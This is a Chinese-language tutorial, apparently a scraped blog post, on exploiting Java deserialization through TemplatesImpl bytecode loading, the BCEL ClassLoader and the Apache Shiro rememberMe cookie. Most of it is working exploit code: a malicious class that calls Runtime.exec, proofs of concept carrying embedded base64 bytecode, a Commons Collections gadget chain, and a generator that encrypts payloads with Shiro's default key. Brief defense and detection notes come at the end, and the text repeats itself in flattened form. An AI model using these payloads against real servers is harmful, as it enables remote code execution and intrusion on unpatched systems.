Java_TemplatesImpl字节码在BCEL和shiro中的利用
字数 1301 2025-08-24 20:49:22

Java TemplatesImpl字节码在BCEL和Shiro中的利用分析

1. Java Classloader机制

Java Classloader是Java安全机制的核心组件之一,它负责动态加载Java类到JVM中。攻击者可以利用Classloader的特性执行任意代码:

  • URLClassLoader:可以从远程HTTP服务器加载.class文件
  • 字节码本质:是一个字节数组byte[]
  • defineClass方法:关键方法,将字节数组转换为Java类
    • 被调用时类对象不会被初始化
    • 只有显式调用构造函数时才会初始化
    • 默认是protected方法,需要通过反射调用
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
    String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);

2. TemplatesImpl利用

2.1 TemplatesImpl特性

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提供了直接利用defineClass的途径:

  • 内部类TransletClassLoader重写了defineClass方法,使其可被外部调用
  • 调用链:
    TemplatesImpl#getOutputProperties() 
    → TemplatesImpl#newTransformer() 
    → TemplatesImpl#getTransletInstance() 
    → TemplatesImpl#defineTransletClasses() 
    → TransletClassLoader#defineClass()
    

2.2 恶意类构造要求

加载的字节码必须满足:

  1. AbstractTranslet的子类
  2. 因为defineTransletClasses会检查父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

示例恶意类:

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
    public EvilTemplatesImpl() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

2.3 完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import java.lang.reflect.Field;

public class HelloTemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExldmlsL0V2aWxUZW1wbGF0ZXNJbXBsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAWRXZpbFRlbXBsYXRlc0ltcGwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEACGNhbGMuZXhlDAA4ADkBABZldmlsL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAAAABABUAAAABAB4AHwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADAANAAAADAABAAAAAQAPABAAAAAAAAEAAQASAAEAAAAfAAAAAgAg");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

3. BCEL ClassLoader利用

3.1 BCEL特性

com.sun.org.apache.bcel.internal.util.ClassLoader特性:

  • 重写了Java内置的ClassLoader#loadClass()方法
  • 会判断类名是否以`

\[BCEL \]

`开头

  • 如果是,会对字符串进行解码

3.2 BCEL利用步骤

  1. 构造恶意类:
package evil;
public class BCELEvil {
    static {
        try { Runtime.getRuntime().exec("calc.exe"); } 
        catch (Exception e) {}
    }
}
  1. 转换为BCEL格式:
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class BCELencode {
    public static void main(String []args) throws Exception {
        JavaClass cls = Repository.lookupClass(evil.BCELEvil.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
    }
}
  1. 加载执行:
new ClassLoader().loadClass("
$$
BCEL
$$
"+"encoded_string").newInstance();

4. Shiro反序列化漏洞利用

4.1 漏洞原理

Shiro 1.2.4之前版本:

  • 加密key固定为kPH+bIxk5D2deZiIxcaaaA==
  • 将保持登录的信息序列化并加密后保存在Cookie的rememberMe字段
  • 读取时反序列化

4.2 利用限制

Shiro的ClassResolvingObjectInputStream重写了resolveClass方法:

  • 使用特殊的forName实现
  • 不能包含非Java自身的数组
  • 导致CC1、CC6等依赖Transformer数组的链无法使用

4.3 利用TemplatesImpl的Shiro POC

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExldmlsL0V2aWxUZW1wbGF0ZXNJbXBsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAWRXZpbFRlbXBsYXRlc0ltcGwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEACGNhbGMuZXhlDAA4ADkBABZldmlsL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAAAABABUAAAABAB4AHwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADAANAAAADAABAAAAAQAPABAAAAAAAAEAAQASAAEAAAAfAAAAAgAg");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "godown");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        return barr.toByteArray();
    }
}

4.4 生成加密Payload

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Clientattack {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(CommonsCollectionsShiro.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
        
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

5. 防御措施

  1. 升级Shiro到最新版本
  2. 修改默认加密key
  3. 对反序列化进行严格过滤
  4. 使用SecurityManager限制敏感操作
  5. 对ClassLoader加载进行监控

6. 检测方法

Shiro漏洞特征:

  • 登录页面响应包有rememberMe=deleteMe
  • Cookie中有rememberMe字段
  • 可使用检测工具如ShiroExploit
Java TemplatesImpl字节码在BCEL和Shiro中的利用分析 1. Java Classloader机制 Java Classloader是Java安全机制的核心组件之一,它负责动态加载Java类到JVM中。攻击者可以利用Classloader的特性执行任意代码: URLClassLoader :可以从远程HTTP服务器加载.class文件 字节码本质 :是一个字节数组 byte[] defineClass方法 :关键方法,将字节数组转换为Java类 被调用时类对象不会被初始化 只有显式调用构造函数时才会初始化 默认是protected方法,需要通过反射调用 2. TemplatesImpl利用 2.1 TemplatesImpl特性 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类提供了直接利用defineClass的途径: 内部类 TransletClassLoader 重写了defineClass方法,使其可被外部调用 调用链: 2.2 恶意类构造要求 加载的字节码必须满足: 是 AbstractTranslet 的子类 因为 defineTransletClasses 会检查父类是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 示例恶意类: 2.3 完整POC 3. BCEL ClassLoader利用 3.1 BCEL特性 com.sun.org.apache.bcel.internal.util.ClassLoader 特性: 重写了Java内置的ClassLoader#loadClass()方法 会判断类名是否以 $$BCEL$$ 开头 如果是,会对字符串进行解码 3.2 BCEL利用步骤 构造恶意类: 转换为BCEL格式: 加载执行: 4. Shiro反序列化漏洞利用 4.1 漏洞原理 Shiro 1.2.4之前版本: 加密key固定为 kPH+bIxk5D2deZiIxcaaaA== 将保持登录的信息序列化并加密后保存在Cookie的rememberMe字段 读取时反序列化 4.2 利用限制 Shiro的 ClassResolvingObjectInputStream 重写了resolveClass方法: 使用特殊的forName实现 不能包含非Java自身的数组 导致CC1、CC6等依赖Transformer数组的链无法使用 4.3 利用TemplatesImpl的Shiro POC 4.4 生成加密Payload 5. 防御措施 升级Shiro到最新版本 修改默认加密key 对反序列化进行严格过滤 使用SecurityManager限制敏感操作 对ClassLoader加载进行监控 6. 检测方法 Shiro漏洞特征: 登录页面响应包有 rememberMe=deleteMe Cookie中有rememberMe字段 可使用检测工具如 ShiroExploit